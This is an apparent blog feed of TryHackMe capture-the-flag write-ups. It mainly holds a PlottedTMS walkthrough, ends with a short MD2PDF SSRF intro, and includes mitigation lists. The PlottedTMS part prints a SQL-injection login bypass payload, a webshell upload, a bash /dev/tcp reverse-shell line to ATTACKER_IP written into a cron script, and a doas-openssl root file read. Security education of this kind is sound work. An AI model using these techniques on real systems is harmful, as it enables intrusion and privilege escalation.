&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;World-readable backup with plaintext password in shell history&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/var/backups/mike_home_backup/.bash_history&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Credential disclosure, lateral movement to &lt;code&gt;mike&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Overly permissive sudo rule + GTFOBin (&lt;code&gt;nano&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;sudo -l&lt;/code&gt; -&amp;gt; &lt;code&gt;/opt/rootkit.sh&lt;/code&gt; -&amp;gt; &lt;code&gt;nano&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Privilege escalation to root&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Attack Chain
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Nmap scan (22, 80, 8080)
        │
        ▼
Simple Image Gallery System on :8080
        │
        ▼
SQL injection auth bypass (' or 1=1-- -)
        │
        ▼
Logged in as admin
        │
        ▼
Unrestricted avatar upload -&amp;gt; PHP webshell
        │
        ▼
RCE as www-data (reverse shell)
        │
        ▼
initialize.php leaks DB creds -&amp;gt; gallery_db confirmed
        │
        ▼
/var/backups/mike_home_backup/.bash_history leaks mike's password
        │
        ▼
su mike -&amp;gt; user.txt
        │
        ▼
sudo -l: NOPASSWD /opt/rootkit.sh
        │
        ▼
rootkit.sh -&amp;gt; nano /root/report.txt (as root)
        │
        ▼
nano Execute Command GTFOBin -&amp;gt; root shell
        │
        ▼
root.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Mitigations
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Use parameterized queries / prepared statements for all authentication and data-access code; never concatenate user input into SQL.&lt;/li&gt;
&lt;li&gt;Validate uploaded files server-side by content (magic bytes) and re-encode images rather than trusting the filename extension; store uploads outside the webroot or in a directory with PHP execution disabled.&lt;/li&gt;
&lt;li&gt;Never hardcode database credentials in application source; use environment variables or a secrets manager, and keep source out of the web-accessible document root.&lt;/li&gt;
&lt;li&gt;Ensure backup archives and directories preserve the original ownership and permission model of the files they contain; a backup should never be more permissive than the source it was taken from. Avoid persisting shell history files with credentials at all.&lt;/li&gt;
&lt;li&gt;Scope sudo rules to the minimum necessary; avoid NOPASSWD wrappers around scripts that shell out to interactive, full-featured editors like &lt;code&gt;nano&lt;/code&gt;, &lt;code&gt;vim&lt;/code&gt;, &lt;code&gt;less&lt;/code&gt;, etc. Use &lt;code&gt;sudoedit&lt;/code&gt; or a restricted editor mode instead.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>tryhackme</category>
      <category>ctf</category>
      <category>writeup</category>
    </item>
    <item>
      <title>TryHackMe: PlottedTMS Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Mon, 12 Oct 2026 13:38:20 +0000</pubDate>
      <link>https://dev.to/exploitnotes/tryhackme-plottedtms-writeup-im</link>
      <guid>https://dev.to/exploitnotes/tryhackme-plottedtms-writeup-im</guid>
      <description>&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;Plotted is a Linux CTF box hosting a PHP "Traffic Offense Management System" (TOMS) admin panel across two web services (ports 80 and 445). Initial enumeration uncovered decoy files and a leaked SQL database backup exposing weak MD5 password hashes. The web login was bypassed with a classic SQL injection auth bypass, and an arbitrary file upload in the admin panel's logo setting gave remote code execution as &lt;code&gt;www-data&lt;/code&gt;. A misconfigured cron job combined with a writable script directory allowed privilege escalation to &lt;code&gt;plot_admin&lt;/code&gt;, and a misconfigured &lt;code&gt;doas&lt;/code&gt; rule for &lt;code&gt;openssl&lt;/code&gt; allowed arbitrary file read as root, recovering the root flag.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Reconnaissance
&lt;/h2&gt;

&lt;p&gt;Port scan with rustscan + nmap:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;rustscan -a &amp;lt;MACHINE_IP&amp;gt; --ulimit 5000

Open &amp;lt;MACHINE_IP&amp;gt;:80
Open &amp;lt;MACHINE_IP&amp;gt;:22
Open &amp;lt;MACHINE_IP&amp;gt;:445

nmap -A &amp;lt;MACHINE_IP&amp;gt; -p 80,22,445 -oN plottedtms-nmap

PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http    Apache httpd 2.4.41 ((Ubuntu))
445/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Both port 80 and port 445 serve HTTP (445 is not SMB here, just Apache on a non-standard port). Both returned the default Apache2 Ubuntu page on &lt;code&gt;/&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Web Enumeration - Port 80
&lt;/h2&gt;

&lt;p&gt;Directory brute force with feroxbuster turned up a directory listing and some decoy files:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;feroxbuster -u http://&amp;lt;MACHINE_IP&amp;gt;/ -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,py,js -C 404

200   GET   admin/id_rsa
301   GET   admin =&amp;gt; admin/
200   GET   passwd
200   GET   shadow
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://&amp;lt;MACHINE_IP&amp;gt;/admin/id_rsa
VHJ1c3QgbWUgaXQgaXMgbm90IHRoaXMgZWFzeS4ubm93IGdldCBiYWNrIHRvIGVudW1lcmF0aW9uIDpE

curl http://&amp;lt;MACHINE_IP&amp;gt;/passwd
&lt;span class="nv"&gt;bm90IHRoaXMgZWFzeSA6RA&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;

curl http://&amp;lt;MACHINE_IP&amp;gt;/shadow
&lt;span class="nv"&gt;bm90IHRoaXMgZWFzeSA6RA&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Decoding the base64:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'VHJ1c3QgbWUgaXQgaXMgbm90IHRoaXMgZWFzeS4ubm93IGdldCBiYWNrIHRvIGVudW1lcmF0aW9uIDpE'&lt;/span&gt; | &lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;
Trust me it is not this easy..now get back to enumeration :D

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'bm90IHRoaXMgZWFzeSA6RA=='&lt;/span&gt; | &lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;
not this easy :D
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;All three files were troll decoys - port 80 was a dead end.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Web Enumeration - Port 445
&lt;/h2&gt;

&lt;p&gt;Same brute force against port 445 revealed a much larger PHP application under &lt;code&gt;/management/&lt;/code&gt; (an AdminLTE-based "Traffic Offense Management System"), with directory listing enabled on nearly every subdirectory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;feroxbuster -u http://&amp;lt;MACHINE_IP&amp;gt;:445/ -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,py,js -C 404

301   GET   management =&amp;gt; management/
301   GET   management/classes =&amp;gt; management/classes/
301   GET   management/database =&amp;gt; management/database/
200   GET   management/admin/login.php
200   GET   management/index.php
...
found:299  errors:4
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Notably, &lt;code&gt;/management/database/&lt;/code&gt; had directory listing enabled and exposed a SQL dump:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://&amp;lt;MACHINE_IP&amp;gt;:445/management/database/
...
&amp;lt;a &lt;span class="nv"&gt;href&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"traffic_offense_db.sql"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;traffic_offense_db.sql&amp;lt;/a&amp;gt;  10K
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  4. Database Dump and Credential Cracking
&lt;/h2&gt;

&lt;p&gt;Pulled the dump directly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://&amp;lt;MACHINE_IP&amp;gt;:445/management/database/traffic_offense_db.sql
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Key contents - &lt;code&gt;users&lt;/code&gt; table with unsalted MD5 hashes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;INSERT&lt;/span&gt; &lt;span class="k"&gt;INTO&lt;/span&gt; &lt;span class="nv"&gt;`users`&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;`id`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;`firstname`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;`lastname`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;`username`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;`password`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...)&lt;/span&gt; &lt;span class="k"&gt;VALUES&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'Adminstrator'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'Admin'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'admin'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'0192023a7bbd73250516f069df18b500'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...),&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'John'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'Smith'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'jsmith'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'1254737c076cf867dc53d60a0364f38e'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Cracked with John (specifying the Raw-MD5 format, since the default guess was LM):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

admin123          (?)
jsmith123         (?)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Tried both creds over SSH for &lt;code&gt;admin&lt;/code&gt; and &lt;code&gt;jsmith&lt;/code&gt; - both rejected (no valid shell accounts with those passwords). They also failed against the web admin login form directly - this whole hash/cracking path was a dead end, and access to the panel instead required the SQL injection below.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. SQL Injection Auth Bypass
&lt;/h2&gt;

&lt;p&gt;With the cracked credentials useless against the login form, the next step was testing the form itself, which proved vulnerable to a classic SQL injection auth bypass. Submitting:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Username: &lt;code&gt;' or 1=1-- -&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Password: any value&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;logged in as the administrator, confirming the login query was unparameterized and concatenated user input directly into the SQL query.&lt;/p&gt;

&lt;p&gt;![Login page with SQLi payload in username field]&lt;/p&gt;

&lt;p&gt;This granted access to the TOMS admin dashboard at &lt;code&gt;/management/admin/&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  6. Arbitrary File Upload to RCE
&lt;/h2&gt;

&lt;p&gt;With admin access, the &lt;strong&gt;Settings &amp;gt; System Logo&lt;/strong&gt; upload field had no server-side file type validation. Uploading a PHP webshell (&lt;code&gt;shell.php&lt;/code&gt;) as the "logo" and then browsing to the dashboard triggered execution of the shell, giving a command execution primitive as the web server user:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;www-data@plotted:/$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;whoami&lt;/span&gt;
&lt;span class="go"&gt;www-data
&lt;/span&gt;&lt;span class="gp"&gt;www-data@plotted:/$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;
&lt;span class="go"&gt;uid=33(www-data) gid=33(www-data) groups=33(www-data)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  7. Privilege Escalation - www-data to plot_admin (Cron + Writable Script Dir)
&lt;/h2&gt;

&lt;p&gt;Enumeration of cron jobs revealed a job running every minute as &lt;code&gt;plot_admin&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;&lt;span class="n"&gt;cat&lt;/span&gt; /&lt;span class="n"&gt;etc&lt;/span&gt;/&lt;span class="n"&gt;crontab&lt;/span&gt;
* * * * * &lt;span class="n"&gt;plot_admin&lt;/span&gt; /&lt;span class="n"&gt;var&lt;/span&gt;/&lt;span class="n"&gt;www&lt;/span&gt;/&lt;span class="n"&gt;scripts&lt;/span&gt;/&lt;span class="n"&gt;backup&lt;/span&gt;.&lt;span class="n"&gt;sh&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /var/www/scripts/backup.sh
&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
/usr/bin/rsync &lt;span class="nt"&gt;-a&lt;/span&gt; /var/www/html/management /home/plot_admin/tms_backup
/bin/chmod &lt;span class="nt"&gt;-R&lt;/span&gt; 770 /home/plot_admin/tms_backup/management
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The script file itself (&lt;code&gt;-rwxrwxr-- plot_admin plot_admin&lt;/code&gt;) was not directly writable by &lt;code&gt;www-data&lt;/code&gt;, but the containing directory was:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ls -la /var/www/scripts/
drwxr-xr-x 2 www-data www-data 4096 ... .
-rwxrwxr-- 1 plot_admin plot_admin  141 ... backup.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Since &lt;code&gt;/var/www/scripts&lt;/code&gt; is owned by &lt;code&gt;www-data&lt;/code&gt; with write permission, &lt;code&gt;www-data&lt;/code&gt; can remove and recreate files inside it regardless of the individual file's own ownership/permissions. The original script was deleted and replaced with a reverse shell payload:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;rm &lt;/span&gt;backup.sh
&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; backup.sh &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
#!/bin/bash
bash -i &amp;gt;&amp;amp; /dev/tcp/&amp;lt;ATTACKER_IP&amp;gt;/4443 0&amp;gt;&amp;amp;1
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;span class="nb"&gt;chmod&lt;/span&gt; +x backup.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Within a minute the cron job fired as &lt;code&gt;plot_admin&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;penelope listen -p 4443
[+] [New Reverse Shell] =&amp;gt; plotted &amp;lt;MACHINE_IP&amp;gt; Linux-x86_64 plot_admin(1001)

plot_admin@plotted:~$ whoami
plot_admin
plot_admin@plotted:~$ id
uid=1001(plot_admin) gid=1001(plot_admin) groups=1001(plot_admin)
plot_admin@plotted:~$ cat user.txt
&amp;lt;REDACTED&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  8. Privilege Escalation - plot_admin to root (doas + openssl)
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;sudo -l&lt;/code&gt; failed (no known password for &lt;code&gt;plot_admin&lt;/code&gt;). Checked for exploitable SUID binaries next:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;find / -perm -4000 2&amp;gt;/dev/null
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/su
/usr/bin/chfn
/usr/bin/fusermount
/usr/bin/at
/usr/bin/chsh
/usr/bin/umount
/usr/bin/doas
/usr/bin/newgrp
/usr/libexec/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
(plus a number of SUID binaries under /snap/core18, /snap/core20, /snap/snapd - all standard snap-packaged binaries)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nothing exploitable on its own, but &lt;code&gt;/usr/bin/doas&lt;/code&gt; stood out as worth checking its config - also confirmed there was no &lt;code&gt;gcc&lt;/code&gt;/&lt;code&gt;cc&lt;/code&gt; available for compiling exploits. Checking for &lt;code&gt;doas&lt;/code&gt; (OpenBSD's sudo alternative) configuration revealed a passwordless rule:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;&lt;span class="n"&gt;cat&lt;/span&gt; /&lt;span class="n"&gt;etc&lt;/span&gt;/&lt;span class="n"&gt;doas&lt;/span&gt;.&lt;span class="n"&gt;conf&lt;/span&gt;
&lt;span class="n"&gt;permit&lt;/span&gt; &lt;span class="n"&gt;nopass&lt;/span&gt; &lt;span class="n"&gt;plot_admin&lt;/span&gt; &lt;span class="n"&gt;as&lt;/span&gt; &lt;span class="n"&gt;root&lt;/span&gt; &lt;span class="n"&gt;cmd&lt;/span&gt; &lt;span class="n"&gt;openssl&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;plot_admin&lt;/code&gt; can run &lt;code&gt;openssl&lt;/code&gt; as root with no password. Running an interactive shell directly was blocked since only the &lt;code&gt;openssl&lt;/code&gt; command is permitted:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;doas &lt;span class="nt"&gt;-u&lt;/span&gt; root /bin/sh
doas: Operation not permitted
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is a known GTFOBins technique: &lt;code&gt;openssl enc&lt;/code&gt; can be abused to read arbitrary files as root, since &lt;code&gt;enc&lt;/code&gt; with no real encryption flags just passes the input through to the output. Used it to exfiltrate the root flag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;doas openssl enc &lt;span class="nt"&gt;-in&lt;/span&gt; /root/root.txt &lt;span class="nt"&gt;-out&lt;/span&gt; /tmp/root.txt
&lt;span class="nb"&gt;cat&lt;/span&gt; /tmp/root.txt
Congratulations on completing this room!

&amp;lt;REDACTED&amp;gt;

Hope you enjoyed the journey!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Confirmed arbitrary root-level file read more generally by dumping &lt;code&gt;/etc/passwd&lt;/code&gt; to stdout the same way:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;doas openssl enc -in /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Key Vulnerabilities
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Location&lt;/th&gt;
&lt;th&gt;Impact&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Directory listing enabled&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;/admin/&lt;/code&gt; (port 80), &lt;code&gt;/management/*&lt;/code&gt; (port 445)&lt;/td&gt;
&lt;td&gt;Information disclosure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Exposed database backup&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/management/database/traffic_offense_db.sql&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Leaked password hashes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Weak/unsalted MD5 password hashing&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;users&lt;/code&gt; table&lt;/td&gt;
&lt;td&gt;Hashes cracked instantly with rockyou.txt&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;SQL injection in login form&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/management/admin/login.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Authentication bypass as admin&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Unrestricted file upload&lt;/td&gt;
&lt;td&gt;Admin Settings &amp;gt; System Logo&lt;/td&gt;
&lt;td&gt;Remote code execution as &lt;code&gt;www-data&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;World/owner-writable script directory with root-owned cron job&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;/var/www/scripts/&lt;/code&gt; + &lt;code&gt;/etc/crontab&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Privilege escalation &lt;code&gt;www-data&lt;/code&gt; -&amp;gt; &lt;code&gt;plot_admin&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;Overly permissive &lt;code&gt;doas&lt;/code&gt; rule for &lt;code&gt;openssl&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/etc/doas.conf&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Arbitrary file read as root -&amp;gt; full root compromise&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Attack Chain
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Nmap scan (22/80/445)
        |
        v
feroxbuster on :80 --&amp;gt; decoy files (id_rsa/passwd/shadow, all troll strings)
        |
        v
feroxbuster on :445 --&amp;gt; /management/ app + directory listing
        |
        v
Leaked traffic_offense_db.sql --&amp;gt; MD5 password hashes
        |
        v
John the Ripper (rockyou.txt) --&amp;gt; admin123 / jsmith123 (dead end for SSH)
        |
        v
SQLi auth bypass on /management/admin/login.php ( ' or 1=1-- - )
        |
        v
Admin dashboard access
        |
        v
Arbitrary file upload via System Logo setting --&amp;gt; shell.php
        |
        v
RCE as www-data
        |
        v
Cron job (* * * * * plot_admin backup.sh) + writable /var/www/scripts/
        |
        v
Overwrite backup.sh with reverse shell --&amp;gt; shell as plot_admin
        |
        v
user.txt captured
        |
        v
/etc/doas.conf: plot_admin nopass openssl as root
        |
        v
doas openssl enc -in /root/root.txt -out /tmp/root.txt (GTFOBins)
        |
        v
root.txt captured - full compromise
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Mitigations
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Disable directory listing (&lt;code&gt;Options -Indexes&lt;/code&gt;) on all web-accessible directories, and never leave database backups or source trees reachable over HTTP.&lt;/li&gt;
&lt;li&gt;Use a strong, salted, slow hashing algorithm (bcrypt/argon2) for stored passwords instead of raw MD5.&lt;/li&gt;
&lt;li&gt;Use parameterized queries/prepared statements everywhere user input reaches SQL, especially authentication logic.&lt;/li&gt;
&lt;li&gt;Validate and restrict uploaded file types server-side (whitelist extensions/MIME types, store uploads outside the web root or with execution disabled) rather than trusting client-side checks or filenames.&lt;/li&gt;
&lt;li&gt;Ensure directories containing root- or privileged-user-owned cron scripts are not writable by lower-privileged service accounts (&lt;code&gt;www-data&lt;/code&gt; should not own the parent directory of a script executed by a cron job running as another user).&lt;/li&gt;
&lt;li&gt;Scope &lt;code&gt;doas&lt;/code&gt;/&lt;code&gt;sudo&lt;/code&gt; rules to the minimum necessary; avoid granting &lt;code&gt;nopass&lt;/code&gt; access to generic multi-purpose binaries like &lt;code&gt;openssl&lt;/code&gt;, &lt;code&gt;find&lt;/code&gt;, &lt;code&gt;vim&lt;/code&gt;, etc. that are well-known GTFOBins privilege escalation vectors.&lt;/li&gt;
&lt;/ol&gt;

</description>
      <category>cybersecurity</category>
      <category>ctf</category>
      <category>writeup</category>
      <category>tryhackme</category>
    </item>
    <item>
      <title>TryHackMe: MD2PDF Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Wed, 07 Oct 2026 11:34:47 +0000</pubDate>
      <link>https://dev.to/exploitnotes/tryhackme-md2pdf-writeup-8a8</link>
      <guid>https://dev.to/exploitnotes/tryhackme-md2pdf-writeup-8a8</guid>
      <description>&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;MD2PDF is a web app that converts user-submitted Markdown into a downloadable PDF using a server-side rendering engine. The input is not sanitized, so raw HTML is rendered as-is - including tags like &lt;code&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt; that cause the renderer to make its own outbound HTTP requests. Since those requests originate from the server itself, they can be pointed at &lt;code&gt;localhost&lt;/code&gt;, allowing an attacker to reach an &lt;code&gt;/admin&lt;/code&gt; endpoint that was supposed to be restricted to internal/localhost traffic only. Chaining the HTML injection with this SSRF behavior let an external, unauthenticated user retrieve the contents of the restricted admin page - including the flag - entirely through the PDF export feature.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. Reconnaissance
&lt;/h2&gt;

&lt;p&gt;A port scan of the target was run first to see what was exposed.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;rustscan &lt;span class="nt"&gt;-a&lt;/span&gt; machine-ip &lt;span class="nt"&gt;--ulimit&lt;/span&gt; 5000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This found three open ports, which were then fingerprinted with a full service/version scan:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sCV&lt;/span&gt; machine-ip &lt;span class="nt"&gt;-p&lt;/span&gt; 22,80,5000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



